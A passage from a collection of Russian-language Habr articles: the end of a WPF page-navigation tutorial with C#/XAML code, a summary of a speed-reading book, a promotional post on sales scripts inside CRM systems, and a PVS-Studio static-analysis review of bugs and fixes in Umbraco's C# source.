жизнь, ему присваивается первая страница, это может быть либо DefaultPage по умолчанию, либо та страница, которую укажете вы. Затем FloppyPages автоматически привяжет ваш IFloppyPage к событию Navigate и GoBack. Так он будет следить, когда на одной из ваших IFloppyPage вы решитесь перейти на другую страницу. Теперь покажу окно, где и создаётся FloppyPages, и присваивается первая страница. Хочу сразу предупредить, что я делал акцент не на внешний дизайн и округлённые кнопочки, а на структуру и её дальнейшее использование. partial class Browser : Window using System.Windows; using UFC.Pages; namespace UFC { public partial class Browser : Window { public Browser() { InitializeComponent(); } private void floppyPages_Navigated(object sender, RoutedEventArgs e) { if (floppyPages.CanGoBack) BackButton.Visibility = Visibility.Visible; } private void floppyPages_WentBack(object sender, RoutedEventArgs e) { if (!floppyPages.CanGoBack) BackButton.Visibility = Visibility.Hidden; } private void Button_GoBack(object sender, RoutedEventArgs e) { floppyPages.GoBack(); } private void Window_Loaded(object sender, RoutedEventArgs e) { floppyPages.FirstPage = new MainPage(); } } } Window xClass UFC Browser <Window x:Class="UFC.Browser" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:ufc="clr-namespace:UFC.UI.Controls;assembly=UFC.UI" Title="UFC" Height="640" Width="380" Loaded="Window_Loaded"> <Grid Background="LightGray"> <Grid.RowDefinitions> <RowDefinition Height="40"/> <RowDefinition/> </Grid.RowDefinitions> <ufc:FloppyPages Grid.Row="1" Name="floppyPages" Navigated="floppyPages_Navigated" WentBack="floppyPages_WentBack"/> <Grid Grid.Row="0" Background="LightGray"> <Grid.ColumnDefinitions> <ColumnDefinition Width="40"/> <ColumnDefinition Width="1*"/> <ColumnDefinition Width="40"/> </Grid.ColumnDefinitions> <TextBox Grid.Column="1" VerticalContentAlignment="Center" HorizontalContentAlignment="Center" IsReadOnly="True" Background="Transparent" FontSize="20" Text="{Binding ElementName=floppyPages, Path=CurrentPage.Title, UpdateSourceTrigger=PropertyChanged}"/> <Button Name="MenuButton" Grid.Column="0" Visibility="Visible"> <Path Margin="5" Stretch="UniformToFill" Fill="Black" Data="F1 M 19,23L 27,23L 27,31L 19,31L 19,23 Z M 19,34L 27,34L 27,42L 19,42L 19,34 Z M 31,23L 57,23L 57,31L 31,31L 31,23 Z M 19,45L 27,45L 27,53L 19,53L 19,45 Z M 31,34L 57,34L 57,42L 31,42L 31,34 Z M 31,45L 57,45L 57,53L 31,53L 31,45 Z "/> </Button> <Button Name="BackButton" Grid.Column="0" Visibility="Hidden" Click="Button_GoBack"> <Path Margin="5,9" Stretch="UniformToFill" Fill="Black" Data="F1 M 18.0147,41.5355C 16.0621,39.5829 16.0621,36.4171 18.0147,34.4645L 26.9646,25.5149C 28.0683,24.4113 29,24 31,24L 52,24C 54.7614,24 57,26.2386 57,29L 57,47C 57,49.7614 54.7614,52 52,52L 31,52C 29,52 28.0683,51.589 26.9646,50.4854L 18.0147,41.5355 Z M 47.5281,42.9497L 42.5784,37.9999L 47.5281,33.0502L 44.9497,30.4717L 40,35.4215L 35.0502,30.4717L 32.4718,33.0502L 37.4215,37.9999L 32.4718,42.9497L 35.0502,45.5281L 40,40.5783L 44.9497,45.5281L 47.5281,42.9497 Z "/> </Button> <Button Grid.Column="2"> <Path Margin="5,9" Stretch="UniformToFill" Fill="Black" Data="F1 M 57.9853,41.5355L 49.0354,50.4854C 47.9317,51.589 47,52 45,52L 24,52C 21.2386,52 19,49.7614 19,47L 19,29C 19,26.2386 21.2386,24 24,24L 45,24C 47,24 47.9317,24.4113 49.0354,25.5149L 57.9853,34.4645C 59.9379,36.4171 59.9379,39.5829 57.9853,41.5355 Z M 28.4719,42.9497L 31.0503,45.5281L 36,40.5784L 40.9498,45.5281L 43.5282,42.9497L 38.5785,37.9999L 43.5282,33.0502L 40.9498,30.4718L 36,35.4215L 31.0503,30.4718L 28.4719,33.0502L 33.4216,37.9999L 28.4719,42.9497 Z "/> </Button> </Grid> </Grid> </Window> Такое проектное решение без всякого труда позволит вам добавить и ViewModel, и Model и возможность использовать один и тот же DataContext на разных страницах. Спасибо за внимание.
https://habrahabr.ru/post/317896/
habrahabr
Скорочтение. Как читать в восемь раз быстрее, если тебя преследуют демоны
['скорочтение', 'книга', 'книги', 'чтение']
Автор иллюстрации — John Kenn После того как я стал равнодушен к своему магазину и закрыл его, надо мной нависли три демона: СХУ, депрессия и прокрастинация. Они тянули меня в пучину...
Автор иллюстрации — John Kenn После того как я стал равнодушен к своему магазину и закрыл его, надо мной нависли три демона: СХУ , депрессия и прокрастинация. Они тянули меня в пучину безысходности, и с каждый днем я погружался все глубже. К психологу идти я был не готов и начал искать выход сам. Решив, что в этой проблеме не одинок — я начал искать ответ в книгах. Начитавшись умных книжек и статей, я составил список из 100 книг к прочтению, которые выдернут меня из когтей демонов. Моего терпения хватило на шесть книг, после этого я забросил свой список. Ведь это занимало так много времени, а мне его категорически не хватало. Хотя я не знал на что его тратить. Мой ридлист провалялся нетронутым месяц, потом в какой-то из статей я наткнулся на рекомендуемые к прочтению книги и среди «100 книг которые должен прочесть каждый» было «Скорочтение» Питера Кампа. Изучив метод предлагаемый автором мне удалось повысить скорость чтения. С автором я согласен не во всем, но некоторые способы были полезны. Об основных методах и будет эта статья. Условия для чтения Два основных условия для чтения: поза и освещение. Есть устоявшееся мнение, что чтение в темноте портит зрение — это верно, но так же верно и обратное — яркий свет сильно напрягает глаза. Для чтения лучше всего рассеянный свет от нескольких источников. Проверить освещение просто: Поднимите руку на 30 сантиметров над книгой — если тень четкая и яркая, то освещения слишком много. Желательно отсутствие тени. Лучшая поза для чтения — сидя, прижавшись спиной к спинке стула. Ускоритель чтения, который всегда с собой Сегодня можно найти множество «ускорителей чтения», но ни один из них не сравнится с рукой. При чтении наши глаза непрерывно двигаются рывками по тексту. Для того чтобы что-то прочитать необходимо остановить взгляд на слове и только потом двигаться к следующему. Средняя скорость чтения — 240 слов в минуту, т.е. по четыре слова в секунду. Использование руки при чтении. Вытяните указательный палец и двигайтесь при чтении вдоль каждой строки. Иллюстрация из книги: как пользоваться указательным пальцем. Когда дойдете до конца строки — перейдите к началу следующей. Возможно, это покажется неудобным, но как только привыкните помогать себе рукой — скорость чтения увеличится на 10-20%, но для этого нужна тренировка. Примечание: Я так и не смог приучить себя к чтению с помощью руки. Возможно из-за использования читалки, но при чтении бумажных книг — помогает. Пробежать книгу в магазине или библиотеке и понять ее суть занимает минут 20. Но для этого нужно не только помогать себе рукой, но и пропускать «воду» в тексте. Возвращение по тексту Читая мы постоянно возвращаемся глазами назад и заново пробегаемся по тексту. Обычно мы делаем это неосознанно, просто из привычки. Плохой привычки. Еще существует осознанное возвращение по тексту — это когда нам кажется, что мы не поняли написанного текста. Тогда, возвращаясь к нужному участку, мы его перечитываем и снова ищем место, на котором остановились. На это тратится время. Возвращение по тексту — не самый лучший способ повысить понимание прочитанного, но он работает. Если взять линейку и вести ей по строке, то она будет служить указателем для глаз. Основной минус линейки — она выделяет всю строку, а значит мы можем возвращаться к ее началу. Лучше использовать руку. Понимание и контроль над возвращением по тексту — важный шаг к скорочтению. Как видеть больше одного слова за раз Если при чтении захватывать взглядом хотя бы по три слова вместо одного — скорость увеличится в три раза. Хоть это и кажется сложным, но на самом деле легко. Ведь еще в школе мы научились читать сначала по буквам, потом по слогам, а потом и читая слово целиком. Все дело в практике. Если вы научились помогать себе рукой при чтении, то заметили что стали реже возвращаться по тексту. Хорошее упражнение для закрепления результата: прочтите отрывок простой книги за три минуты. Сделайте отметку и прочитайте еще раз, за те же три минуты. Читая отрывок в третий раз, постарайтесь продвинуться дальше первой отметки и поставьте следующую. Все так же — три минуты. Повторите предыдущий пункт и поставьте новую отметку. На этот раз за три минуты прочтите максимально возможный объем текста и поставьте четвертую отметку. Начните читать от четвертой отметки и прочтите максимально много, за три минуты. Посчитайте количество слов в отрывках 1-2 и 4-5, сравните и убедитесь в увеличении объема прочитанного. Практика поможет закрепить навык быстрого чтения и охвата более чем одного слова. Хватит мысленно произносить слова Мысленное произношение слов проходит несколько стадий. Когда мы только научились читать — шевелили губами, не произнося слов вслух. У некоторых осталась эта привычка. Избавиться от нее просто: при чтении зажмите между губами карандаш, либо шипите/свистите. Через несколько дней практики — привычка будет искоренена. Следующая стадия — шевеление гортанью, при чтении, как во время разговора. Избавиться от этой привычки поможет самоконтроль. Заключительная стадия — мысленное произнесение прочитанных слов. Возможно вы не замечаете, но скорее всего, делаете это. Бесполезно, и даже вредно, пытаться отучиться от мысленного произношения. Чаще всего, если контролировать его, будет страдать понимание текста — то что не было произнесено в голове не понимается. Действенный способ — читать быстрее, чем можете произносить в голове. Даже если какие-то слова будут произноситься — скорость чтения увеличится. Упражнение: читайте максимально быстро, не задерживаясь на сложных словах и не возвращаясь по тексту. Помогайте себе рукой и не старайтесь отучиться мысленно произносить прочитанное. Просто читайте максимально быстро. Здесь важно не понимание текста, а скорость чтения. Благодаря практике вы сможете отучиться от мысленного произношения. Ключ к успеху в скорочтении — постоянная практика. Начав изучать скорочтение, не возвращайтесь к старому способу чтения, пока не будете удовлетворены результатом. Но даже потом будет куда расти. Это базовые навыки для повышения скорости чтения. Если информация была полезна, то в следующей статье изложу способы чтения разных видов текста и расскажу про техники запоминания. Источник: Питер Камп. Скорочтение. Как читать в 8 раз быстрее, если тебя окружили демоны Как запоминать больше, читая в 8 раз быстрее ★ Читайте больше наших статей в нашем блоге: SmartTalks
https://habrahabr.ru/company/smartprogress/blog/317400/
habrahabr
Прокачиваем CRM для продаж
['crm', 'продажи', 'управление продажами', 'телемаркетинг', 'скрипты продаж', 'телефонные скрипты', 'КоллХелпер']
Компания покупает CRM, интегрирует в нее телефонию, e-mail переписки, формы обратной связи с сайта. Перестает терять входящие заявки, информацию о работе с Клиентами, менеджеры больше не забывают...
Компания покупает CRM, интегрирует в нее телефонию, e-mail переписки, формы обратной связи с сайта. Перестает терять входящие заявки, информацию о работе с Клиентами, менеджеры больше не забывают необходимые дела. Руководитель ждет взрывного роста продаж, но… ожидания не оправдываются. Итак, представим, что мы не просто купили CRM, а еще и настроили все, что нам необходимо для удобства. И вот в систему прилетает новый лид. Его уже не просто потерять и мы знаем источник. В соответствие с регламентом система сразу планирует звонок ответственному. Очень сложно забыть позвонить новому клиенту. Вскоре наступает время Х и задача сообщает продавцу, что пора совершить звонок и продажу. Продавец звонит, выясняет подробности, делает предложение, и Клиент решает «подумать». CRM послушно фиксирует разговор и результаты, переводит сделку на следующий этап, запускает микро рекламную кампанию с таргетингом на конкретного Клиента, чтобы подогреть интерес к предложению, опять планирует звонок. Менеджер снова вовремя дозванивается до Клиента, но слышит уверенное «нет». Сделка отправляется в архив, возможно, CRM создаст дело – попробовать через несколько месяцев. Что же произошло? Скорее всего, мы отлично заточили IT инфраструктуру на эффективный бизнес-процесс, но очень плохо подготовили ключевой этап – общение с клиентом. Для успешной продажи мало сделать необходимые действия вовремя. Чаще всего на результат больше всего влияет личное общение, качественное выявление потребностей, снятие возникающих возражений. Компании в процессе общения с Клиентами нарабатывают базу типичных возражений, эффективные способы работы с ними, максимально эффективные варианты самопрезентации. Часто в компаниях даже составляется руководство по правильному ведению телефонных переговоров, так называемый скрипт продаж. Но все это остается вне главного инструмента – CRM и дальше возникает несколько проблем: 1. Сложно обучать. В скрипте важно каждое слово, а слов десятки тысяч. Запоминать все это не реально, особенно редко встречающиеся возражения. Посмотрите на не самый сложный скрипт, 63 страницы, около 6000 слов без учета навигации: 2. Сложно пользоваться – можно, конечно, быстро переключаться между Вордом и CRM, успевая перескакивать к нужному вопросу между поиском информации в карточках, одновременно записывать на листок важную информацию и потом переписывать ее в CRM. Но, это «немного неудобно». Вот здесь скрипты начинают забрасывать рядовые продавцы: не удобно, все только усложнилось. 3. Сложно анализировать соблюдение скрипта, сложно искать способы его оптимизации. Прослушивание сотен разговоров – расплата руководителя за объективную картину происходящего. 4. Актуализировать скрипт тоже сложно. В начале нужно из-за пары исправлений поменять десяток ссылок в структуре, потом структура вообще разваливается и приходится убить несколько дорогих часов на приведение ее в новый порядок. 5. Ввести изменения в работу еще сложнее. Как всем раздать изменения? Как заставить вызубрить новые две страницы? Когда же они наконец забудут старый вариант? Вот здесь-то скрипты забрасывает и сам руководитель. Да, можно усилием воли и организационными мероприятиями заставить продавцов работать с ненавистными и не нужными им скриптами, можно сжав зубы ночами тратить свое время на постоянную механическую работу с файлом скрипта. Можно пойти другим путем Дополнить CRM новым функционалом. Скриптами продаж, максимально интегрированными с самой CRM. 1. Продавцы быстрее обучаются за счет специального режима. Видят всю логику скрипта наглядно и быстро выбирают нужный этап для изучения. 2. Скриптом удобно пользоваться за счет суфлера, где перед глазами всегда нужный текст и нужные варианты развития событий. При этом работа с данными CRM значительно ускоряется – мы показываем в нужный момент необходимые данные из CRM и даем их редактировать прямо в тексте скрипта. Не нужно бегать по карточкам клиентов и\или записывать на листках. 3. Упрощаем и ускоряем аналитику за счет визуальной статистики по каждому этапу скрипта. 4. Даем руководителю удобный древовидный редактор структуры и контента скрипта. 5. Сразу же публикуем изменения и быстро переобучаем продавцов за счет суфлера. При этом вся работа происходит внутри CRM . Нет необходимости ввода отдельных паролей, перехода на сторонние сайты и приложения. Мы полностью снимаем все неудобства работы со скриптами в классическом виде и делаем из CRM еще более эффективного помошника нашему продавцу. А вы, внедряя CRM – заботитесь об этом важном этапе?
https://habrahabr.ru/company/callhelper_kitmedia/blog/317870/
habrahabr
Снова проверяем исходный код Umbraco
['C#', '.net', 'pvs-studio', 'open source', 'microsoft', 'static code analysis', 'visual studio']
Время неумолимо. Казалось бы, только недавно мы анонсировали выход статического анализатора для C# кода, проверили первые проекты и начали писать про это статьи. И вот уже прошел целый год с этого...
Время неумолимо. Казалось бы, только недавно мы анонсировали выход статического анализатора для C# кода, проверили первые проекты и начали писать про это статьи. И вот уже прошел целый год с этого момента. Год кропотливой и сложной работы по улучшению характеристик анализатора, добавлению новых диагностических правил, сбору статистики ложных срабатываний и устранению их причин, взаимодействию с пользователями и решению массы других вопросов. Год множества маленьких и больших побед на том трудном, но невероятно интересном пути, который мы для себя выбрали. Пришло время повторной проверки проекта, первым попавшего к нам для исследования с помощью нового C# анализатора год назад — Umbraco. Введение Поиску ошибок в проекте Umbraco была посвящена статья моего коллеги Андрея Карпова. Весь этот год проект продолжал развиваться, и к настоящему времени содержит около 3340 файлов с расширением ".cs", что составляет приблизительно 425 KLOC (на момент проверки Андреем проект содержал 3200 файлов с расширением ".cs" и 400 KLOC соответственно). При первой проверке в Umbraco было обнаружено относительно немного ошибок, которые, тем не менее, были достаточно интересны для того, чтобы написать об этом статью и сделать первые выводы о качестве работы нового C# анализатора. Тем интереснее сейчас, когда анализатор обзавелся десятками новых диагностических правил и усовершенствованными механизмами поиска ошибок, провести повторную проверку проекта Umbraco и сравнить результаты с теми, которые были получены в ноябре 2015 года. Для проверки я использовал последний вариант исходного кода Umbraco, который, как и прежде, доступен для скачивания на портале GitHub , а также последнюю версию анализатора PVS-Studio 6.11. В результате проверки было получено 508 предупреждений. Из них первого уровня — 71, второго — 358, третьего — 79: При этом общий коэффициент плотности подозрительных мест (число предупреждений на KLOC) составляет 1.12. Это неплохой показатель, соответствующий примерно одному предупреждению на тысячу строк кода. Но предупреждения — еще не значит реальные ошибки. Для любого статического анализатора нормальным является некоторый процент ложных срабатываний. Также часто могут быть получены предупреждения, которые очень похожи на реальные ошибки, но при изучении автором кода выясняется, что это не так. Для экономии времени я не буду рассматривать предупреждения с уровнем Low, так как там обычно высок процент ложных срабатываний. Я проанализировал предупреждения, выданные PVS-Studio, и выявил наличие около 56% ложных срабатываний на уровнях High и Meduim. Оставшиеся предупреждения содержат весьма подозрительные конструкции, к которым стоит внимательно присмотреться, а также реальные ошибки в коде. Что же можно сказать о качестве работы анализатора, по сравнению с проверкой 2015 года? Первое, что бросается в глаза — не было обнаружено почти ни одного предупреждения из описанных в предыдущей статье. Хочется верить, что авторы проекта Umbraco обратили внимание на статью Андрея и исправили приведенные там ошибки. Хотя, конечно, проект находится в непрерывном развитии и ошибки могли быть исправлены в процессе повседневной работы. Так или иначе — старых ошибок почти нет. Зато есть много новых! Приведу наиболее интересные из них. Результаты проверки Потенциальное деление на ноль Предупреждение анализатора PVS-Studio : V3064 Potential division by zero. Consider inspecting denominator 'maxWidthHeight'. ImageHelper.cs 154 Предупреждение анализатора PVS-Studio : V3064 Potential division by zero. Consider inspecting denominator 'maxWidthHeight'. ImageHelper.cs 155 private static ResizedImage GenerateThumbnail(....) { .... if (maxWidthHeight >= 0) { var fx = (float)image.Size.Width / maxWidthHeight; // <= var fy = (float)image.Size.Height / maxWidthHeight; // <= .... } .... } Приведенный фрагмент кода содержит сразу две возможные ошибки, хотя вторая никогда не произойдет. Условие блока if допускает равенство нулю переменной maxWidthHeight , которая выступает в качестве делителя внутри блока. Вообще, такой код может достаточно долго работать нормально, и в этом его опасность. На основании имени переменной maxWidthHeight можно сделать вывод о том, что ее значение, скорее всего, не будет равным нулю. Ну а если все же будет? Исправленный вариант этой конструкции имеет вид: private static ResizedImage GenerateThumbnail(....) { .... if (maxWidthHeight > 0) { var fx = (float)image.Size.Width / maxWidthHeight; var fy = (float)image.Size.Height / maxWidthHeight; .... } .... } Случай, когда переменная maxWidthHeight будет равна нулю, необходимо обработать отдельно. Досадная опечатка Предупреждение анализатора PVS-Studio : V3080 Possible null dereference. Consider inspecting 'context.Request'. StateHelper.cs 369 public static bool HasCookies { get { var context = HttpContext; return context != null && context.Request != null & // <= context.Request.Cookies != null && context.Response != null && context.Response.Cookies != null; } } Допущена опечатка: вместо оператора && использовали &. Условие context.Request.Cookies != null будет проверено вне зависимости от результата проверки предыдущего условия context.Request != null . Это неизбежно приведет к доступу по нулевой ссылке в случае равенства null переменной context.Request . Исправленный вариант этой конструкции имеет вид: public static bool HasCookies { get { var context = HttpContext; return context != null && context.Request != null && context.Request.Cookies != null && context.Response != null && context.Response.Cookies != null; } } Несвоевременная проверка на равенство null Предупреждение анализатора PVS-Studio : V3027 The variable 'rootDoc' was utilized in the logical expression before it was verified against null in the same logical expression. publishRootDocument.cs 34 public bool Execute(....) { .... if (rootDoc.Text.Trim() == documentName.Trim() && // <= rootDoc != null && rootDoc.ContentType != null) .... } Переменную rootDoc проверяют на равенство null уже после использования для доступа rootDoc.Text . Исправленный вариант этой конструкции имеет вид: public bool Execute(....) { .... if (rootDoc != null && rootDoc.Text.Trim() == documentName.Trim() && rootDoc.ContentType != null) .... } Отрицательный индекс символа в строке Предупреждение анализатора PVS-Studio : V3057 The 'Substring' function could receive the '-1' value while non-negative value is expected. Inspect the second argument. ContentExtensions.cs 82 internal static CultureInfo GetCulture(....) { .... var pos = route.IndexOf('/'); domain = pos == 0 ? null : domainHelper.DomainForNode( int.Parse(route.Substring(0, pos)), current) // <= .UmbracoDomain; .... } В строке route производится поиск символа '/', после чего индекс присваивается переменной pos . Автор учел возможность нахождения символа в начале строки ( pos == 0) , но не учел вероятность его отсутствия: в этом случае переменная pos получит значение -1. Это приведет к выбросу исключения при последующем использовании переменной pos для извлечения подстроки route.Substring(0, pos) . Исправленный вариант этой конструкции имеет вид: internal static CultureInfo GetCulture(....) { .... var pos = route.IndexOf('/'); domain = (pos <= 0) ? null : domainHelper.DomainForNode( int.Parse(route.Substring(0, pos)), current) .UmbracoDomain; .... } Аналогичные предупреждения: V3057 The 'Substring' function could receive the '-1' value while non-negative value is expected. Inspect the first argument. DefaultUrlProvider.cs 81 V3057 The 'Substring' function could receive the '-1' value while non-negative value is expected. Inspect the second argument. DefaultUrlProvider.cs 84 V3057 The 'Substring' function could receive the '-1' value while non-negative value is expected. Inspect the first argument. DefaultUrlProvider.cs 126 V3057 The 'Substring' function could receive the '-1' value while non-negative value is expected. Inspect the second argument. DefaultUrlProvider.cs 127 V3057 The 'Substring' function could receive the '-1' value while non-negative value is expected. Inspect the first argument. PublishedContentCache.cs 147 V3057 The 'Substring' function could receive the '-1' value while non-negative value is expected. Inspect the second argument. PublishedContentCache.cs 148 V3057 The 'Substring' function could receive the '-1' value while non-negative value is expected. Inspect the second argument. ContentFinderByNiceUrlAndTemplate.cs 35 V3057 The 'Substring' function could receive the '-9' value while non-negative value is expected. Inspect the second argument. requestModule.cs 187 V3057 The 'Substring' function could receive the '-1' value while non-negative value is expected. Inspect the second argument. Action.cs 134 V3057 The 'Substring' function could receive the '-1' value while non-negative value is expected. Inspect the first argument. LegacyShortStringHelper.cs 130 V3057 The 'Substring' function could receive the '-1' value while non-negative value is expected. Inspect the second argument. StringExtensions.cs 573 Время — деньги Предупреждение анализатора PVS-Studio : V3057 The 'DateTime' constructor receives the '0' value while positive value is expected. Inspect the second argument. DateTimeExtensions.cs 24 Предупреждение анализатора PVS-Studio : V3057 The 'DateTime' constructor receives the '0' value while positive value is expected. Inspect the third argument. DateTimeExtensions.cs 24 Предупреждение анализатора PVS-Studio : V3057 The 'DateTime' constructor receives the '0' value while positive value is expected. Inspect the third argument. DateTimeExtensions.cs 26 public static DateTime TruncateTo(this DateTime dt, DateTruncate truncateTo) { if (truncateTo == DateTruncate.Year) return new DateTime(dt.Year, 0, 0); // <= x2 if (truncateTo == DateTruncate.Month) return new DateTime(dt.Year, dt.Month, 0); // <= .... } Этот небольшой фрагмент кода содержит сразу 3 ошибки, также обнаруженные диагностическим правилом V3057 . Все ошибки связаны с неправильной инициализацией объекта класса DateTime , конструктор которого имеет вид: public DateTime(int year, int month, int day). При этом параметры year , month и day не могут принимать значения ArgumentOutOfRangeException. Исправленный вариант этой конструкции имеет вид: public static DateTime TruncateTo(this DateTime dt, DateTruncate truncateTo) { if (truncateTo == DateTruncate.Year) return new DateTime(dt.Year, 1, 1); if (truncateTo == DateTruncate.Month) return new DateTime(dt.Year, dt.Month, 1); .... } Ошибочное условие Предупреждение анализатора PVS-Studio : V3125 The 'ct' object was used after it was verified against null. Check lines: 171, 163. ContentTypeControllerBase.cs 171 protected TContentType PerformPostSave<....>(....) { var ctId = Convert.ToInt32(....); .... if (ctId > 0 && ct == null) throw new HttpResponseException(HttpStatusCode.NotFound); .... if ((....) && (ctId == 0 || ct.Alias != contentTypeSave.Alias)) // <= .... } Из-за условия (ctId > 0 && ct == null) в данном фрагменте кода возникает вероятность последующего доступа по нулевой ссылке. Исключение HttpResponseException будет выброшено только при одновременном выполнении обеих частей условия. В случае же, если переменная ctId будет ct , работа будет продолжена. А ошибку необходимо исправить уже во втором условии, где происходит использование ct. Исправленный вариант этой конструкции имеет вид: protected TContentType PerformPostSave<....>(....) { var ctId = Convert.ToInt32(....); .... if (ctId > 0 && ct == null) throw new HttpResponseException(HttpStatusCode.NotFound); .... if ((....) && (ctId == 0 || (ct != null && ct.Alias != contentTypeSave.Alias))) .... } Аналогичные предупреждения: V3125 The '_repo' object was used after it was verified against null. Check lines: 104, 78. Installer.aspx.cs 104 V3125 The 'docRequest.RoutingContext.UmbracoContext' object was used after it was verified against null. Check lines: 57, 39. ContentFinderByIdPath.cs 57 V3125 The 'User' object was used after it was verified against null. Check lines: 90, 80. config.cs 90 V3125 The '_repo' object was used after it was verified against null. Check lines: 254, 247. installedPackage.aspx.cs 254 V3125 The 'node.NiceUrl' object was used after it was verified against null. Check lines: 917, 912. NodeExtensions.cs 917 V3125 The 'dst' object was used after it was verified against null. Check lines: 58, 55. DataEditorSetting.cs 58 V3125 The 'result' object was used after it was verified against null. Check lines: 199, 188. DefaultPreValueEditor.cs 199 V3125 The 'result' object was used after it was verified against null. Check lines: 241, 230. usercontrolPrevalueEditor.cs 241 Ошибка в сроке формата Предупреждение анализатора PVS-Studio : V3025 Incorrect format. A different number of format items is expected while calling 'Format' function. Format items not used: {1}. Arguments not used: 1st. HtmlHelperRenderExtensions.cs 938 public static IHtmlString EnableCanvasDesigner(....) { .... string noPreviewLinks = @"<link href=""{1}"" type= ""text/css"" rel=""stylesheet" " data-title=""canvasdesignerCss"" />"; .... if (....) result = string.Format(noPreviewLinks, cssPath) + // <= Environment.NewLine; .... } Строка формата noPreviewLinks не содержит спецификатора '{0}' для первого аргумента cssPath метода string.Format . В результате выполнения данного кода будет выброшено исключение. Исправленный вариант этой конструкции имеет вид: public static IHtmlString EnableCanvasDesigner(....) { .... string noPreviewLinks = @"<link href=""{0}"" type= ""text/css"" rel=""stylesheet" " data-title=""canvasdesignerCss"" />"; .... if (....) result = string.Format(noPreviewLinks, cssPath) + Environment.NewLine; .... } Аналогичные предупреждения: V3025 Incorrect format. A different number of format items is expected while calling 'Format' function. Format items not used: {1}. Arguments not used: 1st. HtmlHelperRenderExtensions.cs 946 V3025 Incorrect format. A different number of format items is expected while calling 'Format' function. Arguments not used: path. requestModule.cs 204 V3025 Incorrect format. A different number of format items is expected while calling 'Format' function. Arguments not used: Alias.Replace(" ", ""). Template.cs 382 V3025 Incorrect format. A different number of format items is expected while calling 'Format' function. Arguments not used: Alias.Replace(" ", ""). Template.cs 387 V3025 Incorrect format. A different number of format items is expected while calling 'Format' function. Arguments not used: this.Value.ClientID. SliderPrevalueEditor.cs 221 Несвоевременная проверка на равенство null. Снова Предупреждение анализатора PVS-Studio : V3095 The 'dataset' object was used before it was verified against null. Check lines: 48, 49. ImageCropperBaseExtensions.cs 48 internal static ImageCropData GetCrop(....) { var imageCropDatas = dataset.ToArray(); // <= if (dataset == null || imageCropDatas.Any() == false) return null; .... } В отличие от диагностики V3027 , где несвоевременная проверка на null была найдена в пределах одного условия, здесь мы имеем дело с попыткой доступа по нулевой ссылке в другом операторе. Переменная dataset сначала преобразуется в массив, а только после этого проверяется на равенство null . Исправленный вариант этой конструкции имеет вид: internal static ImageCropData GetCrop(....) { var imageCropDatas = dataset?.ToArray(); if (imageCropDatas == null || !imageCropDatas.Any()) return null; .... } Аналогичные предупреждения: V3095 The 'display.PropertyEditor' object was used before it was verified against null. Check lines: 30, 43. ContentPropertyDisplayConverter.cs 30 V3095 The 'typedSource' object was used before it was verified against null. Check lines: 164, 198. DynamicQueryable.cs 164 V3095 The 'attempt.Result' object was used before it was verified against null. Check lines: 90, 113. DynamicPublishedContent.cs 90 V3095 The 'actionExecutedContext' object was used before it was verified against null. Check lines: 47, 76. FileUploadCleanupFilterAttribute.cs 47 V3095 The 'type' object was used before it was verified against null. Check lines: 92, 96. assemblyBrowser.aspx.cs 92 V3095 The 'httpContext' object was used before it was verified against null. Check lines: 235, 237. UmbracoContext.cs 235 V3095 The 'dst' object was used before it was verified against null. Check lines: 53, 55. DataEditorSetting.cs 53 V3095 The '_val' object was used before it was verified against null. Check lines: 46, 55. CheckBoxList.cs 46 V3095 The '_val' object was used before it was verified against null. Check lines: 47, 54. ListBoxMultiple.cs 47 V3095 The 'databaseSettings.ConnectionString' object was used before it was verified against null. Check lines: 737, 749. DatabaseContext.cs 737 V3095 The 'path' object was used before it was verified against null. Check lines: 101, 112. IOHelper.cs 101 Логическая ошибка Предупреждение анализатора PVS-Studio : V3022 Expression 'name != «Min» || name != «Max»' is always true. Probably the '&&' operator should be used here. DynamicPublishedContentList.cs 415 private object Aggregate(....) { .... if (name != "Min" || name != "Max") // <= { throw new ArgumentException( "Can only use aggregate min or max methods on properties which are datetime"); } .... } Как следует из сообщения в исключении, переменная name может принимать только одно из значений «Min» или «Max». При этом, условием выброса данного исключения должно являться одновременное неравенство переменной name «Min» и «Max». А в приведенном фрагменте кода выброс исключения будет происходить при любом значении name . Исправленный вариант этой конструкции имеет вид: private object Aggregate(....) { .... if (name != "Min" && name != "Max") { throw new ArgumentException( "Can only use aggregate min or max methods on properties which are datetime"); } .... } В коде Umbraco было найдено еще 32 аналогичные потенциально небезопасные конструкции (хотя, они могут оказаться и просто лишними проверками). Приведу некоторые из них: V3022 Expression 'macro == null' is always false. MacroController.cs 91 V3022 Expression 'p.Value == null' is always false. ImageCropperPropertyEditor.cs 216 V3022 Expression 'loginPageObj != null' is always true. ProtectPage.aspx.cs 93 V3022 Expression 'dictionaryItem != null' is always true. TranslateTreeNames.cs 19 V3022 Expression '!IsPostBack' is always true. EditUser.aspx.cs 431 V3022 Expression 'result.View != null' is always false. ControllerExtensions.cs 129 V3022 Expression 'string.IsNullOrEmpty(UmbracoSettings.TEMP_FRIENDLY_XML_CHILD_CONTAINER_NODENAME) == false' is always false. NotFoundHandlers.cs 128 V3022 Expression 'mem != null' is always true. ViewMembers.aspx.cs 96 V3022 Expression 'dtd != null' is always true. installedPackage.aspx.cs 213 V3022 Expression 'jsonReader.TokenType == JSONToken.EndArray && jsonReader.Value == null' is always false. JSON.cs 263 Странное условие цикла Предупреждение анализатора PVS-Studio : V3022 Expression '!stop' is always true. template.cs 229 public Control parseStringBuilder(....) { .... bool stop = false; .... while (!stop) // <= { .... } .... } Еще одна подозрительная конструкция, обнаруженная диагностикой V3022 . Переменная stop не используется внутри блока while . Внутри блока содержится достаточно объемный фрагмент кода, порядка 140 строк, поэтому я не буду приводить его. Вот результаты поиска переменной stop : Вероятно, цикл не является бесконечным, так как внутри него содержится break , а также блоки обработки исключений. Тем не менее, цикл выглядит весьма странно и может содержать потенциальную ошибку. Бесконечная рекурсия Предупреждение анализатора PVS-Studio : V3110 Possible infinite recursion inside 'Render' method. MenuSplitButton.cs 30 protected override void Render(System.Web.UI.HtmlTextWriter writer) { writer.Write("</div>"); base.Render(writer); this.Render(writer); // <= writer.Write("<div class='btn-group>"); } По всей видимости, указанный фрагмент кода содержит ошибку, связанную с созданием бесконечной рекурсии. После вызова метода Render базового класса, производится рекурсивный вызов перегруженного метода Render «по аналогии». Скорее всего, метод this.Render должен содержать некоторое условие выхода из рекурсии. В данном случае трудно сделать однозначный вывод о правильном варианте указанной конструкции. Заключение Итак, повторная проверка проекта Umbraco показала наличие значительного прогресса PVS-Studio в обнаружении как потенциально опасных, так и 